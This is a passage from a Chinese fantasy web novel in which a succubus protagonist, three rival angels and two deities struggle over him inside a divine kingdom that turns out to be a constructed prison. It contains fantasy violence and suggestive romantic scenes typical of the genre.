但是他和以诺克相处的时间并不多啊? 难道是因为他扯下了以诺克的翅膀? 楚青琅仰头, 看着不远处的天空。 三位天使相对而立, 面容沉凝冷酷。 “以诺,你不是说自己不会受到侵蚀吗?” 艾斯维生气道:“亏我相信你!” 一旁的伊莱目光死死的盯着以诺克脖颈上的伤口。 鼻端是属于少年的甜蜜香气。 多么熟悉。 多么可笑。 除了艾斯维, 又多了一个以诺克。 他的同伴冠冕堂皇的说为了他好, 将他和青琅生生分开,却下贱的一个接着一个贴上去。 伊莱手中的缠绕着书籍的锁链,随着转动发出喀拉喀拉的响声。 他说:“为什么要抢走我的爱人呢?” 本来祛除了不少的黑气猛地增强,无数颗眼珠子密密麻麻的冒出,死死的盯着对面一直沉默着着天使。 手中的魔法书哗啦啦的翻页, 无数颗箭矢于后背凝出,对准了以诺克。 在他们的逼视质问下, 以诺克却只是冷淡的握着长剑。 脊背后方的翅膀一片已经断裂,金色的血液滴在下方。 明明是代表光明生机的天使血液,却只让植物快速的萎缩。 以诺克垂眼,空茫冷漠的视线落在那枯黄的植物上。 站在一旁的楚青琅却莫名的感觉他在注视着他。 不过很快那视线就移开。 以诺克宛如金属造像,没有丝毫波澜。 他声音冷漠。 “你们两个加起来也打不过我,趁早离开,看在同伴多年的份上,可以饶你们一命。” 艾斯维眉头皱着,长枪并未举起。 “以诺,只要你把青琅给我们,我们不会对你动手的。” 伊莱却仿佛懒得和他对话,手指微微弯曲,无数箭矢挟着杀意朝着以诺克飞去。 转瞬间就淹没了他的存在。 一旁的艾斯虽然眼中含着担忧,但是手上的动作却格外的利索。 “锵!” 长枪猛地朝着一旁刺去,正好挡住向着他攻击而来的长剑。 相同的光明之力映在双方的眼眸中。 艾斯维忽地笑了起来,“你怎么知道我在拖延时间?” 他说着话,却是对着一旁的伊莱所说。 以诺克身形闪烁。 握着长枪的天使消失不见,却突然在伊莱的身侧显现。 手中正是染着血的半片翅膀。 翅膀模糊了一瞬。 以诺克刚张开手,就幻化成荧光消泯。 伊莱此时已经出现了箭矢射去的地方。 他面容斯文温和,此时却尽是讽刺的说:“你一向和以诺关系好,又或者,他能和你分享我的爱人?” 艾斯维摇头,声音清脆响亮,“不是噢,谁让你之前把青琅从我旁边偷走,还让我弄碎了花环,我真的很生气的。” 他说着,笑越来越淡,绿眼睛盈盈发亮,仿佛野兽一般。 “伊莱,我们打这么多的架,你猜我下一击,会在哪里?” 艾斯维咧开嘴,洁白牙齿仿佛森冷刀刃横亘和煦晴空。 不管是伊莱还是以诺克,在面对实力依然处于强盛阶段的艾斯维时,都默默提高了警惕。 就在楚青琅因为场上翻覆多次的势力而震惊的时候。 顷刻间,光芒大亮。 楚青琅被刺的倒退了两步。 抬手遮挡却依然挡不住那灼热的危险的光芒。 天使的交战引起神国的震颤。 脚下的建筑晃动起来,轰隆隆的巨响令他心惊。 这是真的不怕神明醒来啊。 楚青琅躲进一旁的屋子里,等待着战斗的结束。 估计是以诺克把他的位置掩盖了下来。 所以哪怕是出现在天使们的眼皮子底下也没有人发现他。 楚青琅颇有闲心的找到以诺克放着的茶给自己倒了一点。 入口清甜柔滑,格外好喝。 楚青琅双眼一亮,默默的喝了好几口。 还有着一些不知道是什么花做的点心,同样放在他醒过来的房间中。 很快,他的耳边除了那些武器的交击声,就只剩下咀嚼的声响。 虽然魅魔没有必要进食,但是楚青琅却依然感觉到了满足。 这段时间他不是在赶路就是在喝血,实在是给他忙坏了。 下一次见到恢复记忆的恋人,一定要他给他做一大桌子好吃的。 周围的声音突兀安静下来。 但是这也不像是谁胜出了。 如果他们中的谁真的赢了,大概率会直接过来找他。 楚青琅疑惑的放下手。 他朝着外面走去。 在绕过一个柱子时,他一眼便看见了躺在地上的伊莱。 金发碧眼的天使阖眼,奄奄一息,还有被撕下翅膀的艾斯维。 寒光闪过,余光中,面容冷酷手握长剑的以诺克正向着天使的心脏刺去。 他瞳孔骤缩,连忙伸手阻止。 “住手!” 明明以诺克的受的侵蚀和伤是最重的。 但是为何伊莱加上艾斯维都打不过他? 楚青琅一把握住以诺克的手腕,掌心被光明之力灼痛,却在转瞬间消散。 “冷静下来,你不能杀他们!” 以诺克冷冷的看向他,“为何?” 楚青琅低声说:“你疯了吗?他们是你的同伴!艾斯还要给神唱圣歌,还有伊莱也要聆听神的圣谕,如果他们都没了,神发现了怎么办?” 到时候神一调查,好啊,座下的天使几个都是因为他这个魅魔自相残杀的。 给他直接弄死怎么办? 所以他们谁也不能死! 楚青琅上前一步,直接用身体挡住了剑尖。 衣摆被握住,一旁的艾斯维用长枪撑起身子,来到了他的身边。 断续的笑从艾斯维的口中发出。 他对以诺克说:“当然是因为青琅舍不得我们啊。” 别刺激他了好不好? 楚青琅偏头瞪了艾斯维一眼。 却换来了包含深情的凝视。 以诺克神情彻底冷下。 他伸手将楚青琅捞进自己的怀中。 手腕用力,长剑猛地刺出。 楚青琅无奈的叹了一口气。 就在这时,一旁的伊莱睁开了眼。 他伸出手,径直握住了以诺克刺过去的剑刃。 血肉被撕裂的声音刺耳。 在艾斯维疑惑的目光中,伊莱对着眼含杀意的以诺克缓缓开口。 “神已苏醒,召我们去觐见。” 随即伊莱停顿了一下,松开了手。 半只手掌上赫然是深可见骨的伤痕。 他的神情却是异样的冷静,一字一句说:“带上,青琅。” 空气瞬间死寂般的安静下来。 腰间的力道收紧,连带着内脏都开始闷痛。 楚青琅疑惑的望过去,“我也去?” 伊莱并未接着说话,只是慢慢站了起来。 血液顺着伤口流淌,他突兀的笑了下,语气温柔。 “不,你不去。”伊莱几乎是抢的,把他从以诺克的怀中带出抱着,“我不会让你有事的,我们离开这里。” 一旁的艾斯维冷静下来,接着他的话说:“我们都已背叛了神了,神一定会很生气的。所以,以诺克,神国的钥匙在你手上是吧?拿出来。” 若说几位天使之中谁对神最为衷心,无外乎是将所有肮脏血腥的事情都揽在身上的以诺克。 因此,伊莱和艾斯维都眼含警惕的凝望着他。 青琅真的能够比得上他对于神的信仰吗? 面对他们的逼视,以诺克却只是神情冷峻的站在原地。 他说:“就算是离开神国又如何?祂是神,就算是我们逃到深渊,也一样会被找到。” 艾斯维不耐道:“难道就这样看着青琅去送死?要不是你非要杀死青琅,神明怎么知道青琅在这里?” 以诺克的神情阴沉了一瞬。 毕竟艾斯维说的是事实,但是就算是事情再重复一边,他一样会那样做。 他下意识的看向楚青琅。 想要看他那双眼眸中是否有着相同的怨气。 但是那个少年却仿佛根本没有理解现在的处境,甚至称得上懒散的靠在了伊莱的怀中。 察觉到了他的视线,竟然还有心情朝他歪头笑了下。 心中突然涌出一股怒意,激的他瞬间攥紧了手中的剑。 楚青琅一脸莫名的看着他泛着怒气的目光。 以诺生什么气? 现在要出事的可是他欸。 想不出来的他舔了下唇,将溅上的血液抿进口中,安静的等待这他们的决定。 反正他的恋人在这里,不管如何都不会让他受伤的。 楚青琅偏头,控制不住的咬了下伊莱的脖子。 伊莱轻柔的按着他的后脑,并没有在乎他的蠢蠢欲动。 “神因为之前的神战一直在修养,所以才没有将那些恶魔一网打尽,才需要你来守着神国的边境不是吗?” 他语气平淡。 “所以祂对神国之外就无法掌控,我们只要彻底抛弃了天使的身份,就可以避开探查了。” 话音落下,不光是以诺他们,就连楚青琅听着都忍不住惊讶。 牙齿一不小心就刺进皮肉,戳出了伤口。 抛弃天使的身份谈何容易,相当于是完全将自己的灵魂捏成另一个样子。 而之前,他们宁愿忍受着黑暗的侵蚀和疼痛,日复一日的剔除黑暗能量,都没有提出过这种想法。 但是现在 艾斯维又是最先开口的。 他绿眼睛闪亮亮的,“好呀,我没关系,就算是不做天使只要能和青琅在一起也可以。” 接着,楚青琅听见他又小声嘟囔了一下。 “就是可惜我排练好的圣曲了,不过给青琅听也是一样的。” 以诺克看着伊莱,两人的神情都带着不可动摇的冷酷。 这种冷酷极为相似,只是以诺克更为刺人。 楚青琅咳了一声,猩红舌尖收回。 他笑着说:“没关系,以诺不愿意我也理解的” 以诺克冷声道:“闭嘴。” 看着楚青琅无辜的面容,还有唇边的鲜血,他下意识抬手想要捂下脖颈,却顿在了半空。 胸膛起伏一瞬,他转身朝着外面飞去。 “跟上来。” 眨眼间便不见了踪影。 楚青琅被伊莱带着跟上去,琢磨着,他到底什么意思。 但是直到重新看见以诺克的背影。 都没有想出来。 楚青琅便很干脆的放弃了。 不知为何。 以往随处可见的小天使都不见了踪影。 失去了他们的活气,整座神国都变得萧索起来。 就连天空投下的光芒都带着冷意。 这种冷并不是错觉。 楚青琅哆嗦着将自己朝伊莱的怀中塞去。 脸和手脚死死的缠在他的身上,甚至尾巴都塞进了他的翅膀里面。 但是除了他,伊莱他们都没有像他的反应这么大。 难道是他的实力太低了? 楚青琅抖着嗓音,呼吸间满是冰凉雾气,“你们,不冷吗?” 艾斯维拍着翅膀在他的身边绕了一圈,浓绿眼眸满是活力。 他眨眼道:“不冷呀,青琅冷吗?让我抱抱你好不好?我的翅膀最暖和了” 伊莱猛地加速,将艾斯维直接甩在了后面。 艾斯维瞬间瞪圆了眼,“伊莱你干嘛不让我和青琅说话,我就是比你更暖啊!!!” 在艾斯维的喊叫中。 伊莱用光明之力为他建造了一个舒适的温度。 虽然依旧感到冷意,但是比之前思维都凝滞的状态好多了。 随后伊莱躲开艾斯维攻击过来的长枪,为他解释说:“恶魔总是从许多的地方钻出,想要进来污染神国,所以神明将整座神国分为了三部分。” “最上层是神以及炽天使和小天使所住的地方,第二层是最普通的天使所住,而最下面的一层,因为靠近恶魔,便只有圣军驻守,并且被神施加了针对恶魔的法则。” “只要有恶魔进入神国,就会感受到刺骨的寒意。” 原来是这样! 怪不得当时艾斯维根本不相信是他这个恶魔变成的天使。 尾巴晃了一下。 楚青琅将冰冷的手黏在伊莱的背后取暖,正好挨着细密的翅膀,他抠弄着。 他说:“那还有多久才到啊,别神过来了,我们还没有出去。” 伊莱下颌紧绷,在他又一次的剐蹭下,抱着他忽地下坠了一下。 楚青琅被失重感吓得僵住。 等到重新平稳,他气冲冲的抬头,却看见那双含着笑意的琥珀色双眼正安静的凝视着他。 谁让他摸人家翅膀的,这就相当于大庭广众之下摸天使下面,还是已经起来的那种。 口中质问的话瞬间没了底气。 楚青琅哼了一声,将手收回,搂住了他的脖子。 艾斯维赶上,疑惑的看着他们。 他伸出手试图摸楚青琅的手,却被伊莱带着躲开。 但是他却锲而不舍的伸手。 楚青琅看着他执着的绿眼睛,用尾巴拍了一下伊莱,才让他微微放缓了速度。 楚青伸出手,艾斯维眼睛一亮,顿时握了上去,将一个烟晶状的宝石串成的手链放在了他的掌心。 摸起来,暖融融的。 艾斯维献宝似的,“青琅,带上就不冷啦。” 确实,光明之力无法阻挡的那种寒意,在这个手链带上的瞬间就全部祛除。 楚青琅摸了下那手链,认真道:“谢谢。” 艾斯维瞬间笑弯了眼,灿烂极了,“那等出去之后,我也要抱抱青琅,还要亲亲,还要喂青琅喝血” 他说了一大堆,楚青琅都耐心的点头答应了下来。 他们穿过一片大片的建筑向远方行去。 余光中,可以看见建筑里面穿梭着穿着铠甲的天使。 天使们驻守在这里,守护着神明的神国。 直到那些建筑远去,最前面的以诺克突然出声,语气冰凉。 “到了。” 几人缓缓下落。 不远处的朦胧雾气中,一扇紧闭的白金色的门挡在所有人的面前。 仰头望去,几乎看不见顶。 花纹色泽瑰丽神圣,形态宽阔宏伟。 伊莱站在一旁说:“就是这里了,只要穿过这扇门,就是” 说着,他皱了下眉,突兀的停住了话。 楚青琅他们却并未在意。 只是聚精会神的看着以诺克从怀中取出钥匙,向着那扇门走去。 翅膀的尾端掀起雾气。 楚青琅完全看不清楚钥匙的模样。 以诺克将钥匙放了上去。 动作间,熟练又生疏。 “打开了!” 艾斯维欢呼一声,趁机牵着楚青琅的手向前走去。 伊莱被落在身后。 他琥珀色的眼眸中带着迷茫和难以言喻的恐慌。 看着少年欢快的背影,他猛地咽下从咽喉涌上来的鲜血。 嗓音嘶哑,“不,别去。” 声音和着周围的云漂浮。 楚青琅并未听到。 随着距离的接近。 那门后的场景也出现在他的眼前。 第92章 第 92 章 人偶。 在楚青琅想象中。 神国外面应该是连接着人间, 再不济也会是湛蓝的天空。 怎么也不会是现在这种情况。 以诺克将门彻底推开,转过身说:“外面就是天使和恶魔的主战场,我们需要穿过这篇战区然后去往人间,在哪里, 现在, 我们需要将自己彻底的转化。” 他说着, 又否定。 “不, 我们先出去在转化自己,速度快点。” 艾斯维也在一旁拽着他的手腕亲密道:“青琅, 我们快走。我会保护你的,绝对不会让那些恶魔伤害到你。” 但是楚青琅却只是怔怔的看着外面。 在以诺克都忍不住催促的时候,他说:“门外面有什么?” 艾斯维虽然不解,但是还是乖巧的描绘出了自己所看见的景象。 “是一望无际的平原,许多的天使和恶魔在交战。血腥气很浓厚, 土地和天空都被染成了血色,但是天使还是占在上风,把那些恶魔打的很惨。” 以诺克同样意识到了不对, 瞳孔骤缩。 他一字一句道:“外面是一片冰原, 雪花混着天使的血液在空中坠落。许多天使和恶魔的尸体被掩盖在厚厚的冰层之下, 光明之力和恶魔分庭抗争,将天空划分成两种颜色。” 恒明的天空照耀下, 纯白圣洁的天使被雕刻在门旁, 翅膀纹路清晰可见。 雾气在门边飘荡,一派神圣安宁。 楚青琅却感觉指尖冰凉。 他缓缓将手收回,轻声说:“不,那里什么也没有。” 是混沌未分的虚空,没有土地, 没有天空,没有什么冰原平原。 只有一片的黑暗。 就好像是他们所处的神国,是完全独立于整个世界中 这个世界,是一个完整的小世界吗? 楚青琅后退了一步,将视线从一脸茫然的艾斯维的身上移开,看向了以诺克。 他望着那薄冰似的眼瞳,问道:“你是在这里带领圣军斩杀恶魔吗?从什么时候开始的?经过了几次战斗?你受过多少次危及生命的伤?” 以诺克面容紧绷。 “我当然是在这里斩杀的恶魔,我从我经历了五百七十次战斗,受了五次十次” 随着自己的诉说和回忆,他的瞳孔几乎缩成了针尖大小。 骨节弯曲,攥紧了不知何时显现出来的神剑。 过往的记忆塑造了每个生命,它潜藏在细枝末节中,根本不需要可以回忆,便能将那些脱口而出。 他是神座下的天使长,为神明驱逐杀死异端。 他睁开眼看见就是神明,神明照料过他。 他从还是小天使的时候便知道自己的使命。 成长,战斗,受伤,是组成他的整个天使的骨骼与血肉。 但是在那双漆黑眼眸的注视下,那些明明清晰的记忆在此时却仿佛周围的雾气一般,朦胧虚假。 神明的面容是什么样的? 他明明见过。 是谁教导了他? 他和同伴是怎么认识的? 他杀了那些恶魔? 在哪里? 受的伤严重到什么程度? 以诺克突然发现,他对自己一无所知。 就好像当他睁开眼时,就已经是执掌圣军的天使长——以诺克。 恒明的天光洒下。 以诺克面容瞬间惨白起来。 他猛地转身,向着站在一旁的同伴求证。 “艾!伊莱!” “你们记得我们是如何成为同伴的” 艾斯维捂着头,翅膀防御似的炸起。 “不可能!我明明是一直教导小天使的,我自己主持了九次的盛典,更改了就此的圣歌,我明明记得他们每一个小天使的名字,他们是那么的可爱,他们的名字” 看着他们如此慌乱的表情,楚青琅隐约间明白了什么。 这并不是一个完整的小世界,没有哪一个小世界只有一个神国大小。 这个神国,便是针对他的囚牢。 也就是主系统所说的——危险。 那么,到了现在。 真正的幕后黑手也该出来了吧? 嘭—— “青琅!” 被打开的门猛地关闭。 腰间传来紧缚的力道,视线晃动间,楚青琅只觉得周围的空气沉重起来。 他下意识展开翅膀稳住了身子。 转头望去,却见黑色锁链将以诺克的四肢牢牢捆绑。 锁链延伸于伊莱掌心。 他站在一旁,声音平直,金发下的眼瞳空荡。 “不可踏出神国,不可违背神意。” 更加猛烈的能量从他的身体中释放,将两个天使准备反击的动作压下。 他一步一步的向着不断后退的少年走去。 艾斯维嘶声大喊:“我知道你最为信仰神,但是青琅不一样!这些都是假的,不管是我们的记忆还是一切,伊莱你会后悔的!” 以诺克挣扎着,银色的瞳孔乜去,神情是崩溃到极致的冷漠。 “我们本身就是神明的玩偶,哪有什么自己的思想。” 伊莱却仿佛什么都未听见一样,向着楚青琅伸出了手。 他说:“别害怕,神,只是见你一面。” 正好,楚青琅想,他也想要见祂一面。 问一下,祂做出这一切,到底是为了什么? 手被握住,冰冷体温混着血液的黏腻温热,顺着指缝渗入流下。 伊莱面上带了笑。 雾气忽地浓重起来,将视野全然遮蔽。 一旁的天使身影消失不见。 那些光芒简直无处不在。 楚青琅完全看不清前面的道路。 他闷头朝前走着, 出现在面前的是宽阔的大厅,圆形立柱支起极高的穹顶。 他顺着长长的阶梯向上看去,只望见一团模糊的人形,坐在高座之上。 虽然并未看见面容,但是只是那身形姿态,就带着冲击人心的美感。 那并不是普通生命体所能持有的美丽。 下一瞬,楚青琅感到一阵眩晕。 他视线升高,身体不自觉的朝着后方倒去。 落入一个微凉的怀抱。 有一只手搂着他的腰肢臂膀,将他按进了怀中。 “喜欢他们吗?” 虚幻又神圣的声音在耳边响起。 不像他印象中的任何一个人,楚青琅吓的倏地睁眼。 他最先只看见了一双熔金色的眼眸。 但是楚青琅却在这一瞬间连呼吸都放轻了,本能的恐惧让他僵直。 面前的人,不,是祂。 太过恐怖。 不是长相,天使都比不上这个人的面容,只是一种属于弱者的直觉。 面前的祂很明显已经收敛了自己的力量了,他也已经做好了心理准备。 但是楚青琅依然感到头皮发麻。 他眨着眼,想要回答,咽喉却反常的发紧,只挤出一声上扬的气声。 祂凝视着他,手指顺着他的面容勾勒,仿佛隔着皮肉摸着骨骼的长向。 “原来是这个样子的艾斯维,伊莱,以诺克,都喜欢吗?” 摸完,祂边说边将他扶起,让楚青琅靠在自己的怀中,看向了远处的大殿。 随着视线落下,那原本空荡荡的地板上却突然变得透明,几个天使的身影出现在宫殿中。 经过混战,他们的身上都负伤累累。 他们依然处在那神国边缘。 伊莱控制着两人,神情却是反常的绝望。 他单手按着自动翻页的书籍,唇蠕动着。 艾斯维一双绿眸中满是恨意。 以诺克单膝下跪,仰头,仿佛一尊濒临破碎的石像。 楚青琅攥紧了拳头。 他发现,他们完全没有发现自己被转移到了这里。 恐怕在伊莱他们的眼中,周围根本没有什么柱子大厅,而是仍然在无边恒明的天空之下,神国门前。 楚青琅和祂仿佛是透明的一样。 就这样坐在高处,看着几人表演木偶戏。 他终于调整好了身体的条件反射,低声说:“您是神?” 身后的祂安慰似的摸了他的头,“嗯。” 楚青琅并未因为祂和缓的态度而放下警惕,他斟酌着问:“您您创造了这个神国,造出了伊莱他们,但是并未造出整个世界是吗?” 祂并未回答,只是轻轻的拍了下他的发顶,“不喜欢吗?那换一批好不好?” 楚青琅直觉他不能在试探,而且如果不回答的话,面前的祂还不知道会对伊莱他们做些什么。 他连忙道:“喜欢。” 祂梳理着他的发丝,仿佛感到了满意,“喜欢就好,不用感到害怕,在这座神国中,你是唯一的真实。” 楚青琅听得半懂,他问:“那您为什么不亲自来和我相处?反而让那些人偶来?” 还是说,伊莱他们,从头到尾都在祂的掌控之下? 那么他们上/床亲/吻的时候,祂也能看见了? 祂好像笑了一下。 “只是看厄瑞波斯等不及了,所以看看你有没有受伤。”祂说:“他一向不会珍惜,只会毁灭。” 能够惹得神明关注的,楚青琅脱口道:“是湮灭者厄瑞波斯?” 他能够听见那个邪神的名字了? 身后的祂好似垂下了头,腰间的力道加重,一只手抬起了他的下颌,脖颈上被烙下一枚冰凉的吻。 楚青琅瞬间找到了熟悉的感觉。 紧绷的肌肉放松,一直提起的心也缓缓放下。 他转身,跨/坐在祂的腿上,“你的意思是说,那个厄瑞波斯是我的恋人?” 神依然用那双金色的双眼注视着他。 楚青琅凑近。 试探性的将唇挨着祂的下颌。 掀起眼皮,眼尾的红如游蛇一般,落进那双浓黑的眼眸。 “你也是。” “你要对我做什么?还有,你知道祂要对我做什么吗?” 祂们是想要他留下。 那么,怎么做才能让他留下? 让他彻底和主系统断开联系?还是将他的灵魂囚禁在这孤零零的神国之中? 身为神明的祂们,应该都是可以做到。 但是,为何没有这么做,反而是拐弯抹角的,看着他和旁人亲密? 但是若是真的安心看着他同旁人亲密的话。 祂们又为什么一个接着一个的出现在他的面前。 楚青琅弯唇,尖牙露出,在祂的下颌上留下轻微印记。 祂眼睫垂下,按着后颈,将那若即若离的唇压下。 “嘘。” 身后,属于天使的鲜血朝他们飞溅而来,却落在半空便被彻底消泯。 淡蓝色的系统面板在眼前闪烁。 【主系统:不要沉迷,不要选择,不要呼唤。】 眼皮微微抬起,里面金光缭绕。 只是一眼,光屏便在一个闪烁后,没了踪影。 楚青琅模糊间仿佛看见了什么。 却在下一刻,被神明彻底吸引了神智。 只是一个简单的接触,他便浑身颤抖起来。 全身被恐怖的快/感占据,大脑仿佛都随着吞咽而融化。 “青琅?” 有轻柔的声音在他的耳边响起。 楚青琅蜷缩着身子,视线迷蒙。 轻笑声传来,他听见祂说:“唤吾——” “嗡!” 余光中,一抹纯粹的阴影能量穿过天使的身影,转瞬间来到了祂的面前。 一道金光将其挡住消融,却很好的打断了祂未出口的话。 虚幻的层叠的声音突兀的响起。 “闭嘴!” 环绕着他的神明缓缓将头抬起,发丝如水流般在楚青琅的面上滑过。 那张完美到惊悚的面容带着遗憾。 “厄瑞波斯,你来了。” 黑发红眼的苍白人影站在阶梯上,周身缭绕着浓郁阴影,不断的侵蚀着周围的光芒。 “埃忒洱,是你说的,需要他自己选择呼唤谁的名字,不可引诱,不可威胁。” 但是祂们都明白,引诱和威胁,是必须的,只是不能用这么直接的方式。 毕竟神的位格过高。 只要听懂,楚青琅必然会将祂们的名讳说出口。 因此,不可直言。 埃忒洱笑了一下,并未对自己的举动被发现并被破坏产生什么负面情绪。 祂说:“那便让他自己选择吧,不过现在他已经发现了神国的真相,所以,就要看你那边了。” 厄瑞波斯声音死寂,“你有无数的办法让他发现不了。” 祂语气和缓,“那样的话,他只会变成我的孩子。” 一个有着楚青琅面容的人偶,就像是祂随意揉捏造出来的天使一般。 怎么能算得上是他呢? 那么,就保存着记忆,为祂主动选择留下吧。 厄瑞波斯讥笑了一声。 祂垂头,温柔的凝望着怀中少年。 零碎的话语落进耳畔。 两道身影明明分立两端,却同样的出现在他的眼前。 朝他露出笑,面容相似。 祂们说: “青琅,唤吾的名讳。” 交叠重复的声音穿透耳膜,引出尖锐的鸣响。 楚青琅眼前猛地黑下。 灵魂不断下沉,仿佛在水面穿行,指尖甚至可以抚摸到鱼儿周身的冰冷鳞片。 【神已苏醒,召我们去觐见。】 楚青琅听见刺啦一声后,他被人打捞出水面。 一阵凉风袭卷而来。 他迷茫的睁开了双眼。 伊莱正握着以诺克刺过去的剑刃,神情漠然。 每当楚青琅觉得今天受到的惊吓足够多了。 都会有新的事情告诉他还不够。 左右看去。 手持长剑的以诺克,倒地的艾斯维,奄奄一息的伊莱。 和记忆中的场景一摸一样。 周围宫殿冷硬,地面宫柱上面覆着斑驳痕迹。 不是以诺克的宫殿还是哪里? 时间重新回到了天使们打完架的时候了。 他不自觉的想起在神国的边缘,以诺克他们发现自己的记忆不对的时候的表情。 楚青琅突然想起了祂对他说的话。 【不喜欢吗?那换一批好不好?】 【别害怕,在这神国中,你是唯一的真实。】 所以,祂把伊莱他们弄到他的面前,然后又让他亲眼看着天使们被抹去记忆。 只是为了让他放心,向他展示自己的能力? 楚青琅太阳穴突突的跳。 脑海中还残留着那两道恐怖的人影,以及冰凉轻柔的吻。 但是具体的面容以及话语却都如流水般消逝。 不过当意识到祂行为背后的逻辑之后。 楚青琅却突然冷静下来。 他伸手握住伊莱的手,将人拽到面前甩了一巴掌。 “清醒点,我已经回来了。” 面颊刺痛,空洞洞的眼眸颤动了一下,瞳孔才缓缓的聚焦。 伊莱看着面前的少年,身体上的痛苦如海啸一般扑来。 他下意识的想要攥拳隐忍,但是掌心中的痛楚却更为明显。 看着那深可见骨的伤痕。 他竟有些怔然。 楚青琅越过他朝着远方的两人走去。 锁链声清脆,艾斯维特有的开朗声音传来:“你醒了?!伊莱快放开我们!” 以诺克挣扎的动作却反常的平缓起来。 他深深的看着楚青琅道:“你已经去见过神了?” 话音落下,惊的几个天使都失措起来。 楚青琅干脆的点头,好奇问道:“你怎么知道?” 伊莱反应过来,挥手将以诺克周身的锁链褪去。 以诺克揉弄着手腕,抬头看了一眼恒明的天空,“神无所不能,祂说出口的话便是既定的事实。” 银眸天使走来,弯腰看他。 “现在你没事,这说明神对恶魔在神国并不介意。所以,留下来吧。” 楚青琅挑眉,如果以诺克还记得他在哪道门前崩溃的模样,估计就不会在这里劝说他了。 祂真的是好手段。 确认自己是否喜欢他们,让这些天使来劝他留下来。 是觉得他会心软吗? 那他可打对算盘了。 他不会走的,毕竟神国外面什么都没有。 不过既然神国这里行不通,他还可以入梦从约书亚那里来啊。 希望他在约书亚那里能够尽快找到破解的办法。 虽然并不清楚祂为何不直接强制留下他。 但是万一祂改变了想法。 楚青琅可就彻底成为了瓮中之鳖,无法逃脱。 就连可能就连主系统都救不了他。 真是的。 他只是简单的谈个恋爱。 怎么弄到要时刻担心自己的人身安全的地步了。 第93章 第 93 章 献祭。 楚青琅无奈的摩挲了下指根。 正准备开口拒绝, 一旁的伊莱就率先回过神,果断道: “不行,青琅必须离开。” 他看着以诺克,知道如果要带着楚青琅离开只凭借他一个人是不行的, 必须要得到另外两人的帮助。 伊莱掌心中光明之力涌动, 缓缓将伤口治好。 “如果真的向你所说的那样是神放过了青琅, 但是为什么?”他的神情阴沉, 话语中带着醋味,“神向来厌恶恶魔, 为什么会独独会对青琅另眼相看,除非神明和我们相同。” 他说出了结论,“祂一样爱慕着青琅。” 以诺克因为他编排神的话,神情猛地冷下。 伊莱却仿佛没有看见一样,只是来到楚青琅的面前, 将以诺克在他面上留下的鲜血给擦拭掉。 “祂是神,如果祂那天真的想要杀死青琅,我们又怎么能保护他呢?就像是之前” 面上的力道加重, 楚青琅唇角被扯开, 他不由得后仰了一下身子。 伊莱顺势放下手, 温柔道:“抱歉。只是我不想再受到祂的控制,做出任何可能伤害到你的事情。” 楚青琅突然伸手抚了一下他的面颊, 笑着说:“没关系, 我总是会原谅伊莱你的” 一旁的艾斯维同样来到身旁,握住了他的衣角,认同道:“伊莱说的对,不能在这里呆着,走, 我们现在就送你离开。以诺克,神国的钥匙在你的手中,你要是不和我们一起,那就拿出来。” 以诺克仿佛看着疯子一样望着他们。 他想说就算是楚青琅是魅魔,但是他怎么可能魅力这么大,只是见了一面就让神明倾心? 又或者,伊莱只是因为神降,将自己的爱人推向了危险的境地,所以要绝对的避免这件事情。 但是,出了神国,就代表着他们的侵蚀将会无可挽回的加深。 他们将会彻底堕落成恶魔。 楚青琅慢悠悠的走在了一边,在他们纷纷将视线望过来的时候,他不冷不热道:“你们想走就走啊。” 艾斯维上前一步,觉得他还没有意识到事情的严重性,“青琅,神虽然这次放过你了,但是后面……” 以诺克冷笑,“你们也知道神已经放过青琅了,祂从不会反复。” 他看着面色阴沉的伊莱,“你只是因为恐惧自己争夺不过神吧?本来只有你一个天使,但是后面却突然多了我和艾斯维,你就已经很恐慌了。” “现在神又将青琅放回来,你害怕再多一个。所以你想要将青琅带走,路上的时候你会杀死我们吧?” “伊莱,你已经彻底变成了恶魔。” 虽然外表没有彻底变化,但是此种因为自己的欲望而罔顾他人的意愿,抹杀他人的生命的举动。 和恶魔又有什么区别? 伊莱神情不变,蜜一般的眼眸看着楚青琅,他柔声问:“别担心,我一定会保护你的,我们去人间好不好?” 视线在面庞上滑过,楚青琅竟然幻觉他眼中生出手来。 寸寸拂摸他的肌肤。 楚青琅站在一旁,指尖微动。 他想说神国外是一片空荡荡,就连你们的记忆也是被灌输进去的,你们永远无法逃离这里…… 但是最终他还是摇了摇头。 “伊莱,回去吧,把你身上的侵蚀祛除,我不会有事的。” 楚青琅后退一步,“我会对自己的选择负责。” 伊莱笑容消失。 其他人的决定都无法动摇和影响伊莱。 但是唯有他。 伊莱放下手中蓄势待发的攻击,重新恢复成刚开始见面时的斯文温柔。 “我听青琅的。” 很快。 几人先前相互攻击的场面就像梦一样。 他们又变成了以往的相处模式。 楚青琅依然住在以诺克的宫殿内,艾斯维有时会带着曲谱和竖琴过来让他听圣曲,以诺克会冷冰冰的满足他的所有需求。 而伊莱,则掩盖着身上越来越重的血腥气,笑着将他抱进怀中爱/抚。 宫殿后方生长着一簇一簇的冰晶,光芒穿过淡紫色的晶体,折射出瑰丽的色泽。 楚青琅压下心中越来越重的担忧。 他发现自己关于约书亚和人间的记忆越来越模糊,就像他真的只是一个魅魔一般。 楚青琅的尾巴在温暖的巢穴中翻搅。 看着金发褐眼的伊莱,他柔声说:“痛就喊出来。” 灿然的天光下。 天使衣衫/尽褪,修长白皙的身体尽数展露。 烟紫色的冰晶折断处锋锐刺目,划过时能轻易留下一串串的金色血液。 上面是只有楚青琅认识的字体。 记着他的身份和目的,以及约书亚那里发生的事情。 伊莱的翅膀已经全然变成了黑色,楚青琅温柔的拂过,却被猛地捞进怀中,躺进冰晶丛之中。 锋利的冰晶顺势刺进血肉。 伊莱因为痛楚哼了一声,翻身将他压在身/下。 手指上移,深入发根,动作间,带着细微的抖。 楚青琅呼吸灼热,伊莱发丝垂下,面孔悬于上方,躯体上他亲自刻下的伤痕清晰。 温热的血液在两人肌/肤之间流淌。 楚青琅仰头,感受着脖颈处的啃噬带来的瘙痒。 恒明的天空不知何时失去了蔚蓝色泽,变成了干涸的白,油漆一样斑驳难看。 楚青琅却仿佛看见了那双熔金的双眸。 他眼尾上扬,露出笑来。 “变态。” 却在下一刻被伊莱的面孔覆盖,喉结滚动,肉块混着血液被他咽下。 身躯内部传来充裕的满足之感,混沌了思绪。 喘/息声混着心跳。 越来越大,直到充斥了所有的感官。 楚青琅终于又一次感受到了那下坠之感。 * 神国特有的光明被昏暗代替。 赫普斯的面孔出现在他的眼前。 面对赫普斯的注视。 楚青琅却没有在意,只是抬手捂住脑袋回想。 但是原本清晰的记忆仿佛流水一般从脑海中划过。 